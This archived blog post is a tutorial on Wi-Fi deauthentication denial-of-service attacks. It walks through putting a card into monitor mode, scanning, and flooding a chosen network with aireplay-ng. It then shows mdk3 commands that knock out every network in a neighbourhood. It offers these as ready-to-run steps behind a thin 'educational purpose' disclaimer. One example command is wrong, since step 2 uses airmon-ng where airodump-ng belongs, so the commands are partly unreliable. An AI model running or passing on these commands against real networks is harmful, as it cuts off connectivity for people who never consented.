This post sheds light to how the attackers are able to bring down a single or all the wireless networks around.

We claim no responsibility of the harm done via any reader. This post is for educational purpose just like our every post.

DEAUTH ATTACK

It is a Denial of service attack (DoS) targeted between router and the connectced clients. A crafted deauth packet is sent to router which results in termination of the connection between router and a client.

The below diagram depicts the theory

Screenshot unavailable — deauth_wifi.png was not captured by the Internet Archive.

STEPS

The steps required to initiate a deauth consists of below steps:

1. Initiate promiscous mode AKA monitor mode
2. Scan for networks
3. Select target network
4. Launch the attack

1. INITIATE PROMISCOUS MODE

airmon-ng start <WIRELESS INTERFACE>

airmon-ng start wlp3s0

Make sure to check our previous tutorial on “Attacking WPS” if you are stuck in this step

2. SCAN FOR NETWORKS

airodump-ng <WIRELESS INTERFACE>

airmon-ng wlp3s0mon

3. SELECT TARGET NETWORK

From the airodump window select the target network and copy its BSSID (first column)

1. LAUNCH THE ATTACK

aireplay-ng -0 0 -a <BSSID> <MONITOR INTERFACE>

aireplay-ng -0 0 -a 30:b5:c2:dd:ee:ff wlp3s0mon

Screenshot unavailable — aireplay_deauth_wifi.png was not captured by the Internet Archive.

This tactic is for a single wifi network, in order to perform a mass deauth attack in a neighbourhood, attackers use a more sophisticated tool called as mdk3 which is builtin Kali and other pentesting distros. Beware this will cause total havoc in your neighbourhood due to unavailability of Wifi.

SYNTAX

mdk3 <INTERFACE> d

mdk3 wlp3s0mon d

In order to fix it to a particular channel

mdk3 <INTERFACE> d -c <CHANNEL NUMBER>

mdk3 wlp3s0mon d -c 2